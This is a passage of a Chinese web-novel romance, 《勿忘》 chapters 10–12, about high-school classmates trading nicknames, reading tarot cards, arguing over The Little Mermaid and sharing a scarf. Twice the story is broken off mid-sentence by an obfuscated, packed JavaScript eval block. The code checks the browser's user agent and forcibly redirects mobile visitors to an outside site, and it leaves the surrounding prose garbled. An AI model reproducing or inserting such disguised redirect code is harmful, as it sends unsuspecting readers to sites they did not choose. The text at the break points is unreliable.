陈明清忍无可忍,咬紧牙关,顺势发了大招,“猫那事儿解决了是吧?一个爸爸一个姐姐,差了一辈儿是吧,要不要也跟着叫爹啊?” 果然,和谐持续不过三秒。 22.兔死·狗烹 - 《勿忘》【chapter.10 兔死·狗烹】 - 大课间不用跑操,几个男生抱着篮球围到陈忘野桌前。为首的男生把球在指尖转了两圈,“野草。走,打球去。” “野草?骂人呢?”黎雾从试卷堆里抬起头,小声嘀咕。 “哪是骂人啊,夸他呢。”陈明清从后排探出脑袋,比他哥还骄傲,“校草的草。” “这都能组上词啊。” “怎么?是不是和你很配啊,黎花花。” 陈忘野正要走,脚步一顿,低眼重复一句:“花花?” “你不知道了吧,黎雾小名叫花花,她爷爷给起的,因为他爷爷喜欢花吧好像。”陈明清解释,“小时候我们都这么叫,上学了我们说好都不叫小名,后来太久不叫都快忘了。” “她名字可多了。”陈明清来了劲,掰着指头数,“黎小兔,黎总,黎花花,黎黎,雾雾……” “黎小兔是什么?”他问。 “就是月野兔啊,她喜欢美少女战士,小时候总扎丸子双马尾……” “哦。”陈忘野了然。 “怎么,哥你对她这么好奇啊?”陈明清凑上前撞他的肩膀,眉飞色舞,笑得猥琐,“还想知道什么,弟都告诉你。” “弟把你们cp名都想好了,就叫‘花花草草’,怎么样?” 还花花草草呢。 不如叫“兔死狗烹”,黎雾心说。 提到“月野兔”这茬她就来气,前几天在他家争猫的时候,她被他赶出家门,怎么敲门他也不开。 再敲邻居都要来了,她无奈只能掏出手机,憋憋屈屈地加他的微信。 顶着微信名“美少女水兵雾”,申请加他的好友。 好友申请界面,她本来想写「我是黎雾」,id还没删干净,她手一抖直接发了出去——「我是美少女」。 没想到他一秒就开门了,倚在门边,抱着手臂,要笑不笑地看着她。 和他大眼瞪小眼,黎雾人一急脑子就更抽,越抹越黑,脱口而出:“我的意思是,我是美少女,水兵雾。” 陈忘野单手插着兜,笑意几乎从眼睛里溢出来,盯着她看了半晌,尾音拉长,流里流气:“怎么,现在要代表月亮消灭我?” …… 闲聊耽误了些时间,班里的男生等得不耐烦了,又过来催。 “走吧野神。” "草草,快点。" "他才来几天就有这么多外号?"黎雾小声嘀咕,"我都没被人叫过神。" 为首的男生叫谢苍,和陈忘野勾肩搭背,显得很熟络,两人边往班外走边聊起了互帮互助组的事。 谢苍一把勾住他脖子:“虽然我语文不算好,但至少比你强,我可以教你语文,你就跟我一组呗。” 好吧,是有求于他。 黎雾瞄了一眼,和他混在一起的几个男生都是竞赛生。 都是天才,但很怪。 不过这班里怪人不少。 有同时喜欢六个人,拉了个群表白的;有每天课间在走廊打太极,说是在吸收天地灵气的;有就好给人当爹,人家吃个薯片都要指指点点你不健康的。 还有大冬天和人打赌,赌要连续拿十次物理第一,输了就裸奔的。 就是这位,谢苍同学。 他个子很高,皮肤晒成小麦色,眉眼轮廓深邃,颇有种香港老电影里走出来的街头靓仔气质,个性也浮夸。 他从高一开始就一直是物理第一,参加的大大小小各种物理竞赛都拿一等奖,本来想保持这个美好传统一直到毕业,结果被陈忘野打破了。 打赌输了,他大冬天的脱了上衣,光着膀子在操场上“啊啊啊”地边嚎边跳,疯跑了三圈,冻得一把鼻涕一把泪,还正好撞见副校长,喜提了个“不遵守校规校纪”的小处分。 现在像个树懒一样扒在陈忘野身上,算是彻底赖上他了。 距离有些远,周遭声音又嘈杂,他们的交谈声也渐行渐远,黎雾只能凭嘴型猜出他们在聊什么。 “你叫什么来着……”陈忘野问。 “艹,谢苍。” “不觉得老子的名字就很酷拽吗。” 然后话锋一转,他紧紧抱住他,很娇羞的模样:“野野,你得对我负责。” - “看出来了吧,我就说想和他一组可没那么容易。”陈明清咂嘴,“我哥人气很高的。” “哦。”黎雾不以为意。 “你俩和好了?” “和好称不上。”黎雾放大了手机上他那张满分卷的照片,继续整理解题思路,不慌不忙地解释道:“首先他是新同学又是我的后桌,其次他身上的确有值得我学习的地方。” “最重要的是他手里还握着我的小猫。于公于私于情于理,我都不至于和他把关系搞这么僵。” “有值得你学习的地方?”陈明清问,“合着你就是看上他物理好了呗?” “对啊。”黎雾也不藏着掖着,“你知道吧,我物理真是不开窍。” “是不是你爸给你的压力太大了啊,他天天说重视理科重视理科的,公司招的都是些男程序员,还说你不行。越说你就越紧张焦虑加叛逆,反而更不开窍了。” 陈明清笑:“他说男的行的时候怎么不看看我啊。” 黎雾没抬眼:“呃,他没把你当男的看?” “服了,我自降身份安慰你,你还讽刺上我了。” “不是我爸给我的压力大,重男轻女,也不是我叛逆,我不至于这么幼稚。”黎雾语气淡淡,低头盯着卷面上的公式,“我目前确实没开窍,但谁都有想进步的心吧。” 她不喜欢把自己简单地定义为"受害者",也不愿意把自己的短板归咎于外界压力。 这样的思维方式,某种程度上是另一种自我矮化——好像一个人的成功或失败,永远要和性别议题挂钩。 她只是一个普通人,有擅长的科目,也有不擅长的。 这很正常,不是吗? 说着说着又像炫耀,她笔尖点在卷面:“即便我已经是稳坐第一了,但人也不能停下来追逐的脚步呀,对不对。” 跟她是不是女生没关系。 跟她在不在意别人眼光没关系。 哪怕她真的学不会物理,那也没关系。 可她还是想试试。 “切,你就不怕陈忘野把你第一给抢了。” 黎雾也笑,“他要是想抢就抢着试试。” “等下,我突然有个问题。”陈明清才想起重点,忽地抬头,狐疑问她,“你不会还琢磨着物理竞赛的事呢吧。” “不能因为咱们班所有人都参加竞赛,你就也要搞一个啊。” “这么爱跟风。” 他苦口婆心,难得严肃,“黎雾,我以前觉得你最酷的就是能坚守本心,不为所动。” “别人都报竞赛,就你不报,因为你知道自己的长处是什么。” …… 太聒噪又喋喋不休,黎雾被他吵得心烦,忽地抬手打断,表情认真。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323129|163073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “问你个事。” “啊?”陈明清被她唬住。 “他当年为什么被送走?”她问。 陈明清:…… “不是,我的意思是。”黎雾歪了歪头,开玩笑般,想显得轻松,“你哥比你帅比你高还比你聪明,你爸妈怎么就想不开要留你啊?” “不是你什么意思?”陈明清瞪她一眼。 “字面意思。”她眨眨眼,“纯属好奇,没有恶意。” “你喜欢他?”他冷不丁问。 “啊?你这什么脑回路啊。” “不喜欢他你对他这么感兴趣?我可从来没见你对哪个男的有兴趣。” 陈明清抱起手臂,明显是防御姿势,语速也加快,“按你往常的个性,不向来是兵来将挡水来土掩吗,谁入过你的法眼,全都是杀个片甲不留。” 察觉到他在迂回,刻意回避这个话题,黎雾不说话了,只是用那双清凌凌的眼睛直直盯着他。陈明清被她盯得发毛,眼神开始飘忽:"要问你自己去问啊,这是人家隐私..." “我直接去问他?怎么问?”黎雾捏着嗓子,“''同学你好,请问你爸妈为什么不要你啊?''。礼貌吗?” 陈明清嘴角一抽:“你什么时候讲过礼貌啊。” “那我不是和他不熟吗,但我又想知道。” 她也是第一次对一个人产生这么强烈的好奇心。 他身上的元素很矛盾。 就像校门口奶茶店新出的黑色冰激凌,猜不透口味,就更让人想咬一口尝尝。 “我知道了!”黎雾一拍掌心,恍然大悟,“他不会是有什么不可告人的隐疾吧?” 陈明清扶额,“至于吗姐姐,这么咄咄逼人?” 确实咄咄逼人了,但她也确实想知道个原因。 只不过很多时候抛弃没有原因。 她看过一组数据,国外家庭收养中国弃婴中,高达88%为女孩。 有多少生命刚出生就消失在了下水道,洗衣机,被遗弃在寒冷的冬夜,还没来得及看清这个世界,就被剥夺了生存的权利。 她没想替谁开脱,只是试图去揣测这些封建愚昧的老一辈思想,一番推理后更是坚定了自己的想法,不免唏嘘,“如果抛弃的是个男孩的话,那只能说明他有什么身体缺陷了吧,没别的可能了。” 陈明清头上降下三条黑线,支支吾吾,“算了,你就这么理解吧。” “况且他也没有到被遗弃的程度啦,只是放在姥姥家养了几年,然后又放在小叔家养了几年。” “……现在这不是接回来了吗。” 见黎雾还不满意,陈明清咬咬牙,“行吧,告诉你个事。” “嗯?”黎雾微微前倾。 “他这个人一点也不在乎排名啊,成绩啊,面子啊那些虚的。” “啊?”思维未免也太跳跃。 陈明清压低声音,“我也是好多年前听说的,当年他还和姥姥住一起。” “他也挺混蛋的,初中的时候考试是一次倒数,一次第一,交叉轮换着来,从没失手过。” “知道是为啥吗?因为学校规定给进步的学生发奖学金,进步几百名就发几百。” “他很缺钱?”黎雾问。 “对。”陈明清总算讲到重点,“所以不管是你想和他一组搞物理,还是猫那事儿,都是。” “我看不如你就给他点钱。” 他故作深沉,做了个数钱的手势,搓搓手指。 ——“钱能解决所有问题。” 23.塔罗·人鱼 - 《勿忘》【chapter.11 塔罗·人鱼】 - 胡桃捏着下巴点头:“这么说的话我也觉得给钱靠谱。” 她转头问陈明清,“我怎么记得他好像还给初中生当家教呢,是不是有这事儿?” “诶,你知道得还挺多?” “嗯,因为我那天看到他拿着一本初中英语教材,写了很多笔记,像在备课一样。他不是从美国回来的嘛,英语那么好,我就猜他可能是要给初中生补习吧。” "对,我爸介绍的,"陈明清撇撇嘴,"就我们同院的一个弟弟。两家有点生意往来,就让陈忘野去辅导功课。"他忽然压低声音,"也是奇怪哈,以前我爸找他干的事他鸟都懒得鸟,这次居然还挺爽快,可能是那家家教费给得高吧。” “弟弟?”胡桃两眼放光,贼兮兮地问,“帅不?” 见他不应声,她自顾自地嘟囔,“同院的?知夏书院啊,那可真是有钱人。” “羡慕啊——” 后半段对话,黎雾中途走神,头也不抬,笔尖在试卷上飞快移动,又刷了几道数学题。 见她这模样,胡桃吞吞嗓子:“算了,我也看出来了,有钱人也有有钱人的烦恼。我不像黎黎那么爱拼才会赢,等我长大就整点我的小爱好,赚点小钱,找点弟弟,爽歪歪。” “爱好?”黎雾“百忙之中”抬头,“算命?” "对对对!"胡桃突然兴奋,从书包里掏出一个绒布袋,掏出一套纸牌,"对了!钱的事!要不我给你算一卦?" 胡桃从半年前开始沉迷八字和塔罗,接触时间不长,但据她自己描述,她灵性高得吓人,准得邪门——说测800m取消就取消,说食堂今天有糖醋排骨就有,说自己有桃花运,当天就在开学典礼见到了学弟小帅哥。 但前段时间又说是遭到了反噬,经常受伤见血,所以现在不轻易给人算,不轻易介入别人的因果。 除非——钱给的够多。 综合这些前提,现在黎雾把她当成个江湖骗子,也算是理所应当。 黎雾笔下不停,敷衍地"嗯"了一声。 “不行。”她还没动作,陈明清突然凑上来挡在她们中间,左右看看,确定没人才压低声音,"上次不是说了,我哥最讨厌算命了,以后别在他面前提这个吗。" “他现在不是不在吗?”胡桃手中动作一停,有些不耐,“而且他有啥病啊,人家算命都管。” “不是,他也不是管。我就是怕他不开心。”陈明清小声说。 “啊???”胡桃不解,“这有什么可不开心的啊?” 陈明清果然支支吾吾半天说不出。 僵持过后他长叹口气,撂下一句,“算了,那你们在他回来之前玩就行。” 胡桃果然星星眼。 见她这么认真,黎雾也不好拂了她的好意,放下笔转过身来:"行吧,咱们速速玩一把。" 她随手抽出三张牌,脑海中不知怎的突然闪过陈忘野那张欠揍的脸,皱了皱眉,把牌推到胡桃面前:"来吧,桃大师。" 胡桃范儿起得很足,低头看清牌面后突然倒吸一口凉气,瞪大眼睛:"我靠!这也太......" 黎雾挠挠耳朵:"别卖关子了。" "简单来说,这是一个非常标准且狗血的虐恋小局。" …… 15分钟后。 黎雾实在听不下去,呼了口气回身,为自己刚刚浪费的一刻钟人生默哀。 “这么烂啊。” “我还是刷题吧,听这个不如随便找本狗血小说看。” 身后胡桃兴致倒是格外高涨,语气都升了几分,“烂吗?虽然是虐恋,但我觉得很带感啊!帅哥配美女,还互相亏欠,王菲那首歌怎么唱的来着。” “如果再见不能红着脸~是否还能红着眼,就像那年匆促…” 她继续往后捋,三倍速唱了半首歌,终于捋到自己想要的那句歌词,手舞足蹈,深情演绎,“我们要互相亏欠,我们要藕断丝连~” 黎雾一共抽了三张牌,还摆在眼前。 同时,刚刚胡桃说的那些话混着音乐,在她脑子里幽幽打转—— 一刻钟前。 第一张牌:高塔(正位)。 胡桃的声音突然正经起来:“高塔代表突如其来的巨变,可能是冲突、崩塌,或者……彻底决裂。”她顿了顿,“你们之间会有一场大爆发,可能是争吵,也可能是突然发生了,不能逾越的现实矛盾。” 黎雾嗤笑一声:“现实矛盾?抢猫?” 第二张牌:圣杯六(逆位)。 “这张牌……”胡桃皱了皱眉,“原本代表美好的回忆,但逆位了,说明过去的情谊会变质,甚至变成某种执念。你们可能因为旧事纠缠不清,或者……有人放不下。” 黎雾挑眉:“放不下?他?” 胡桃耸肩:“也可能是你。” 第三张牌:恶魔(正位)。 空气突然安静。 胡桃深吸一口气,语气微妙:“……你们这段关系,有点危险啊。” 黎雾:“什么意思?” “恶魔牌代表欲望、执念、不健康的关系,甚至是……互相折磨。”胡桃盯着她,“你们可能会陷入一种‘明知不该,却无法抽身’的状态,就像——” “就像什么?” “就像你明知道不该碰他,但还是会忍不住去招惹他。”胡桃眨眨眼,“或者反过来。” 黎雾沉默两秒,突然笑了:“我真是服了。” “你是吞了多少本绿江小说,才能安排出这些情节。” …… 说实话黎雾完全没当真,这些所谓“命运”听来也算有趣,她放下笔,回身把那三张牌还给胡桃,笑道:“桃桃,我觉得你的天赋不只在算命,要不你去当编剧吧,肯定能火。” “牌面就是这样,我只是照着念而已。”胡桃摊手。 "古诗公式我可能背得乱七八糟,但塔罗牌?"她得意地晃晃脑袋,大拇指戳向自己,"姐可是专业的!" “哇。”黎雾也不扫她的兴,没走心,夸得敷衍:"这么准?你不会真是女巫转世吧?" "那必须啊!"胡桃一拍桌子,“准到我都怀疑我这一世的这个肉身封印了我的能量。”说着说着她自己都感叹,“我上辈子应该就是那个,给小美人鱼换腿和鱼尾巴的女巫。” 低头又看了眼手中的塔罗牌,黎雾才明白胡桃怎么思维这么发散。 她这套牌刚好是童话主题,而刚刚抽到的“恶魔”牌,上面印的是小美人鱼的故事。 画面中,海巫半人半章鱼,触手缠绕着小美人鱼。贝壳制成的桌上放着匕首、沙漏和一瓶药水。 小美人鱼被迫仰头张嘴,一缕金光从喉咙被抽出,汇入海巫手中的珍珠。她的脚下散落鳞片,双腿已半成形。 “这么邪乎?”黎雾点头,“不过女巫就女巫,选个好点的女巫多好,小美人鱼那个也太掉价了。" "嗯?"胡桃歪头。 "你想啊,"黎雾掰着手指头数落,"首先小美人鱼好好的海底公主不当,非要上岸找王子,刀尖踩血,化成泡沫,图什么呢?"她啧啧摇头,"这女巫就是看准了恋爱脑好骗,闷声发大财呢。" 为了双腿和女巫交换嗓音,其实就是交出了话语权。没了话语权的人就只能听命于人,所以最后要么成为别人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351258|163073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 附庸,要么化成虚无。 这女巫也是某种意义上的既得利益者,所以才保持沉默。是等价交换,也是唯利是图。 她朝胡桃晃晃手里的牌,“这张高塔也一样。你以为的高塔是王子城堡,其实是自己建的——用声音换双腿,和用自由换爱情,本质都是自我毁灭。” 陈明清闻言震惊:"啊?这故事怎么到你嘴里就成这样了。为爱牺牲多伟大啊!我小时候听还感动哭了呢!" 他撇撇嘴,很遗憾的样子,"怎么就没女生这么爱我啊?" …… “怎么和我看的版本不一样?”头顶一道懒散的男声响起。 “什么?”黎雾闻言仰头。 陈忘野刚从球场回来,一阵裹挟着初春寒意的风随着他的步调卷入室内,又被他身上蒸腾的热气中和。 他手里抱着篮球,球在地板上弹跳两下,发出沉闷的声响。 “我看的版本里,小美人鱼上岸是为了追求自由和不灭的灵魂。"他屈起指节敲了敲黎雾手中的塔罗牌,"她骨子里流着叛逆的血,对人类世界的向往源于对未知的渴望,不是这种......" 他顿了顿,嘴角勾起一抹意味不明的弧度,"你所谓的,廉价的?自我毁灭。" “怎么,哥?你也想当小美人鱼啊?”陈明清贼兮兮地凑上来撞他的肩,“这么替人说话。” 陈忘野连个眼神都懒得给他,脱了外套往椅背一甩,小臂肌肉随着动作绷出流畅的弧度,腕骨上还留着打球时蹭出的红痕。 旁边胡桃把陈明清拽过去,小声咬耳朵,“你不是说他讨厌算命吗,这牌不用收吗。” 陈明清一拍大腿,“哦草,我都忘了!” 他眼睛滴溜溜地转,扯了个答案,没什么底气,“他可能讨厌的是八字吧,塔罗没事……” “只能是因为这个了。” “叛逆的血?”黎雾重复了这几个字,心说倒是难得听他发表价值观相关的观点。 “所以你看到的结局是什么?”她问,“不是泡沫?” “是泡沫。”陈忘野不置可否地耸耸肩,“同时,她获得了不灭的灵魂。” “因为她选择了善良。即使面临化为泡沫的结局,她也没有将匕首刺入王子的心脏。” 黎雾怔了怔。 “哥啊,那要是你的话。”陈明清问他,“你是扎人家心还是不扎呢。你肯定扎吧?” 陈忘野没作答,拧开一瓶矿泉水灌着,水珠顺着他的喉结滚落,消失在衣领深处。 “我不善良,也不在乎什么不灭的灵魂。”过了半晌他才开口,目光仍钉在黎雾脸上,嘴角扯出个懒散的弧度:“我要是她——”他指尖点了点牌面,“我会让王子自己跳进海里找我。” 胡桃小声嘀咕:“……这算哪门子童话?” “童话?”他直起身,单手抄兜,另一只手随意转着篮球,腕骨上的红痕刺眼,“现实就是,想要的东西,要么抢,要么骗。” “嗯。”黎雾点头,心说,这点上他倒是和她很像。 她问,“但重点不就是,王子不爱你吗。” 篮球“砰”地砸进墙角,他回头,眉眼在逆光里显得锋利又散漫。 教室里忽然安静下来,只剩下窗外风吹树叶的沙沙声。 陈忘野盯着她看了两秒,忽然笑了。 “谁说的?”他倾身向前,黎雾能看清他睫毛投下的阴影,能闻到他身上未散的阳光和汗水的气息。 “你怎么知道——”他声音压得很低,带着点漫不经心的哑,“跳海的那个,不是我?” 陈明清在后面倒吸一口冷气,胡桃的笔啪嗒掉在地上。 黎雾心跳漏了一拍。 24.草莓·围巾 - 《勿忘》【chapter.12 草莓·围巾】 - “哥。”陈明清吞吞唾沫。 “你是想说自己深情呢,还是,想说自己是王子啊…?” “我觉得是后者。”胡桃压低声音笑。 黎雾在旁边附和,“我也觉得。” 几个人偷偷笑作一团。 不过深情不深情这种事情,嘴上说说自然容易,能不能身体力行就是后话了。 黎雾支着下巴想,他要是真能像他自己说的那么有魄力,倒是有趣。 黎雾问他:“你什么时候看的这个版本?” 陈忘野:“我去年去做义工,给孤儿院的孩子念过这故事。” “还没回国的时候?” “嗯。” “你还去过孤儿院做义工啊?”黎雾眨眨眼,心想,这么善良?没看出来啊。 “我本来是去给年纪大点的孩子科普物理的,当时有个志愿者临时有事没来,我讲完物理就替他去幼儿组给小朋友念童话了。” 胡桃若有所思:“黎黎,同样的故事,你看到的是话语权,我看到的是坏女巫,陈忘野看到的是自由和灵魂不灭。”她突然转向陈明清,语气陡然一转,“只有陈明清看到的是恋爱脑。” 她语气忿忿,嫌弃地狠狠剜了他一眼:“所以你说说为什么男人不行呢,看完之后没想着自己要奉献,反倒等着别人来奉献他。” “真是怎么有利于你们男的你就怎么解读呗。肤浅。” …… “哦对。”胡桃突然想起什么,“过两天我买的红豆就要到货了,你们到时候都帮我串手串哦,就当支持我生意了。” “什么生意啊?”陈明清狐疑问。 “算塔罗的衍生服务啊,祈福用的。” “啧啧,果然是江湖骗子。” “你tm才是江湖骗子呢!陈明清你x&#?@*!” - 一周后,气温骤降,倒春寒来得气势汹汹。铅灰色的云层压得很低,寒风裹挟着细碎的冰晶,在校园里横冲直撞。 温度再次回归冰点。 黎雾从班外回来,整个人冻得像个冰棍,她搓着通红的手,呵出的白气在眼前凝结又消散。 她径直走到陈忘野的座位,“我刚刚还去篮球场找了一圈没找到你,给你发消息你也没回。” “什么事?”他似乎刚运动完,周身寒意和热气萦绕交织,他脱了外套搭在椅背,发梢还带着湿意,呼吸尚未平复。 “今天下午临时有教育部领导来访。”黎雾急得顾不上许多,一把扯住他的袖口就往外走,“老郝叫我和你一起布置一下表彰榜,拖太久了,你那个照片必须得贴一下了。” “我没有照片怎么贴。”他愣了下,却没挣扎,任由她拉着他穿过嘈杂的教室。她的手指冰凉,隔着校服布料传来细微的寒意。 "你跟我来。"黎雾步伐加快,几乎是小跑起来,“图书馆有个证件照机器,那里能拍照,我带你去。” 直到出了教学楼,刺骨的寒风迎面扑来,黎雾这才猛地回神。她转身一看,“诶呀,天呐我忘了提醒你穿衣服了。” 她自己浑身上下裹得严严实实,围巾在脖子上绕了好几圈,而他只穿着单薄的校服,风一吹,布料紧贴在身上,勾勒出少年清瘦的轮廓。 "要不还是回去拿件衣服吧,要走五分钟呢。"黎雾无奈,没忍住嘟起嘴,呼出的白气在两人之间缭绕,"你看我穿这么严实,怎么没想到自己也拿一件呀。" 明明是她刚才二话不说就扯着人往外冲,现在倒好。陈忘野都气笑了,眉梢微微挑起:“这么会恶人先告状?” “什么恶人。”黎雾蹙眉,寒风吹乱了她额前的碎发,“亏我还好心说要陪你回去。” 陈忘野摆摆手,径直往图书馆的方向走,撂下一句,“来不及了,下节不是‘杨过’的课吗,迟到了要被罚的吧。” 黎雾在身后小步追上去,有点惊讶:“哇塞你还挺懂!” “嗯,听说了。”不知道是在影射什么,他回身瞥了眼黎雾,“有好心的同学给我讲了。” 还特意加重了“好心”两个字。 “同学?和你一起打球的吗。”黎雾问。 这么“好心”,怕不是都想和他组学习小组才献殷勤的吧。 黎雾自己心思不纯,就怀疑全世界都和她一样“居心不良”。 她追上前,怕他不认路,“好心”地跑到他前面带路。 “嗯。”陈忘野应了声,果然还是没抵住零下的空气,抱着手臂冻得打了个哆嗦。他的鼻尖和耳廓都泛着红,与白皙的脸颊对比更甚,在灰蒙蒙的天色下格外醒目。 黎雾偷偷打量着他,心想:这小子,皮肤可真细啊。 细皮嫩肉,唇红齿白,怪不得那么多人给他塞情书献殷勤呢。 才刚来几天啊,已经是公认的校草了。 和初中那位弟弟一样,现在是校园表白墙上的常客。 这些天,黎雾经常看到他桌上出现莫名其妙的卡片,零食水果和饮料。 问了才知道,那天是白色情人节,大家都蠢蠢欲动了。 啧啧啧,黎雾心中忽然升起一阵危机感,心想自己要是想和他一组,是不是也得表示表示,缓和缓和关系。 她想着就摘下围巾,递到他面前,眼睛弯成月牙,“我把围巾给你吧,太冷了。” 看着她这无事献殷勤的模样,陈忘野下意识打了个冷颤,嘴角抽动,义正言辞地拒绝,“没事,不用。” “你知道今天几度吗。” 他没回答,黎雾吸了吸鼻子,感觉鼻子里都要结冰了,自顾自地答道:“零下五度!” “你就别逞强了。”话说到一半,她惊呼,“诶,你去哪啊?” 眼前,陈忘野走着走着路突然偏离了路线,朝路的一侧拐过去。 今天风大,墙边停的自行车倒了一片,七零八落地横在雪地里。他弯腰下去,颇有耐心地一辆一辆扶起,动作轻柔。 黎雾愣了下。 这人没时间回班拿衣服,但有时间做“好人好事”。 冷风卷着雪花打在他单薄的背影上,她莫名觉得心头一动。 没想到他还挺正能量的。 陈忘野起身的瞬间,脖子上被裹上了一条围巾。柔软的毛线贴上冰凉的皮肤,带着少女特有的温度和香气。 她很难得在他脸上看到这么丰富的表情——先是眉眼间难掩震惊,漆黑的眼睛睁得溜圆;随即忽地缓和,没忍住笑了一下,嘴角勾起一个慵懒的弧度,懒洋洋道:“真给我?” 粉色围巾。 戴在他身上竟然意外的合适。 马海毛的质地蓬松柔软,从浅粉渐渐过渡到灰白,像初春时节最早绽放的那朵樱花。围巾松松地绕在他颈间,衬得他冷白的皮肤泛起一层淡淡的粉,整个人看起来柔软了许多,像融化的草莓奶糕。 看起来嫩乎乎的。 前几天她还在想,如果他是黑色的限定冰激凌会是什么味道。 现在心中忽然有了答案——草莓味一定很适配。甜而不腻,带着微微的凉,让人忍不住想再尝一口。 他个子太高,看人时总有种居高临下的感觉,眼神在她脸上打转,像在审视。 黎雾忽然觉得脸热,避开目光,手忙脚乱地扯着他的衣服把他转了一百八十度:"感冒了就当不了活雷锋了。" 她在身后推着他的背,掌心隔着校服感受到少年坚实的肩胛骨,"快走快走。" …… 进了图书馆大楼,楼里没开空调,虽然隔绝了外面呼啸的寒风,但大理石地面和金属书架依然散发着刺骨的寒意。 到了拍照地点,两个人掀起白色帘子钻进去。 机器启动需要时间。 密闭空间内,空气中弥漫着塑料和油墨的气味,机器运转发出低沉的嗡鸣。 黎雾能感受到他的视线依然胶在她身上,她警觉地抬眼,“你盯着我看干嘛,不会是想要我的帽子吧。” 她下意识地抬手按住自己的帽子,“不可以,我必须保护我的脑袋不挨冻。” “怪不得你平常不戴帽子的时候,要用围巾把头也包住呢,原来是保护脑袋。”陈忘野了然,话依然说得欠揍,嘴角噙着若有若无的笑意,“我还以为你是在cos狼外婆呢。” “你才是狼外婆呢!”黎雾气急。 “就是很像啊。”陈忘野笑,不知道为什么,今天心情似乎格外好,说话间连眼角都弯弯的。 “你把头包上才是狼外婆,你长得就像狼。”黎雾不甘示弱地伸手,围巾很长,她扯着围巾一角在他头上裹了两圈,只露双眼睛。 那眉眼少了些凌厉,在粉色毛线的衬托下竟显出几分柔软。 随即转为调侃。 “不嫌弃我?”他问,声音闷在围巾里,带着些许鼻音。 “我观察过了,你已经算是我们班上最爱干净的男生了。”黎雾歪着头答。 “?” 他话里有话,语气不悦,“班里男生你全观察了?” 黎雾没懂他问题的意图,自顾自解释,“你每天都洗澡洗头,身上香香的,校服也是白白的。” 她顿了顿,“而且你不和父母生活在一起,衣服都是你自己洗的吧。” 陈忘野挑眉,被围巾包裹的脸只露出一双似笑非笑的眼睛,“你怎么知道我每天都洗澡,装摄像头了?” “我和汤圆有心电感应,它托梦给我的。”黎雾玩笑道,“怎么样,厉害吧?” “托梦。”他玩味地咀嚼着这两个字,声音低沉,“你梦到我了?” “梦到你干嘛,我梦到猫了。” 他盯着人看的时候,眼神总是透彻又直白,像是能透过层层伪装轻易把人看穿。黎雾突然心虚,心说身正不怕影子斜,就大大方方地告诉他原因好了,“因为你看起来就很干净啊,每天头发都很蓬松,一看就是刚洗过,从我旁边走过还香香的。” “观察这么仔细?”他拖着腔调,尾音上扬,“还偷闻?” “什么叫偷闻,我就是天生鼻子灵敏一丢丢而已。”黎雾撇撇嘴,心想这人怎么这么会抓重点。 其实黎雾已经算是女生里不太精致的了,但她每天早上会抽时间洗 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也不知道为什么要向他解释,她的语速忽地加快,“我夏天还是洗得很勤的,就是冬天太冷了嘛,而且天天洗头会脱发的,我是经过了精密计算才选了这个周期,但如果真的有味道的话,我就…” 没等她说完陈忘野便打断她,表情很无奈,“当然不是了……”他顿了顿,“你又不运动,哪来的味。” “那你怎么知道的。”黎雾防备地问。 耳尖不知为何有些发烫,她盯着陈忘野,试图从他看似随意的语气里找出一点别的意味,但最终什么也没找到。 他的目光坦坦荡荡,甚至还带着点被误解后的无奈。 陈忘野叹了口气,挠挠头,“搞得我跟偷窥狂一样。” 他不情不愿地解释,“是因为你早上洗澡,每次来学校头发还是湿的,隔一天湿一次,我就想,你这么怕冷,又这么爱护你的脑袋,但是这么冷的天洗完头还不吹干,不得冻傻了啊。” 黎雾安安静静听完,莫名不知该接什么话好。她没想过这种微不足道的细节会被人察觉到,还记得那么清楚。 冬天的早晨,她匆匆忙忙地从家里跑到教室,头发贴着脸颊,寒气透过围巾的缝隙钻进脖子里——这些习以为常的小事,成了他嘴里清晰的画面。 之前陈明清也总说她,不会照顾自己,生活能力很差,东西很多,时不时还丢三落四,一点不像个女生。 是不是像女生当然不是由他定义的,她总是嘴硬说,“我们天才都是这样的。” 如今想来,怪不得陈忘野的座位总在后移,是在迁就她。 原本黎雾只占三分之一的暖气位置,而他的座位不断后移,几乎贴到了后墙面,她也就顺势向后挪着,挪了大半个座位,理所应当心满意足地“霸占”了整片暖气。 他语气淡淡,显得自然,“还好你座位在暖气旁边,不然冻傻了以后这表彰榜的照片怕是也不用贴了。我多整几张,到时候全贴我的。” …… 机器终于开机,发出"滴"的一声响。 黎雾低头看了眼表,就剩十分钟了,速战速决,教他机器的使用方法。"你小时候玩过大头贴吧,和那个操作差不多,但这个系统比较老了,交一次钱只有一次的拍照机会。" “我没玩过大头贴。”他说。 “啊?”黎雾愣住,手指停在操作面板上,“那你童年还挺…不多姿多彩的。” 她说着,突然想起他小时候是被丢给姥姥了。她还记得,陈明清是大头贴的超级无敌霹雳爱好者,小时候天天拉着她和胡桃去拍。普通的大头贴也不算便宜,拍一版也要十几块钱呢,但这种平民的他都看不上,必须要去找一百一版的那种高级店,说那里的背景更好看,前前后后拍了得有小几千块,说是要送给班里所有的女生。 黎雾甚至都怀疑,那家“黑店”的利润全都靠他一人贡献的。 相同的出身,不同的命。 没留意,她的眼神在陈忘野的脸上多停留了一会儿,看着他被粉色围巾包裹的侧脸,睫毛在灯光下投下一小片阴影。"咔嚓"一声,画面被定格。 她才回过神,发现机器已经开始向外吐照片了,黎雾惊呼,"诶呀你怎么就按了呀。" “试验一下。”他幽幽说。 “那这张就打出来了,取消不了的。” 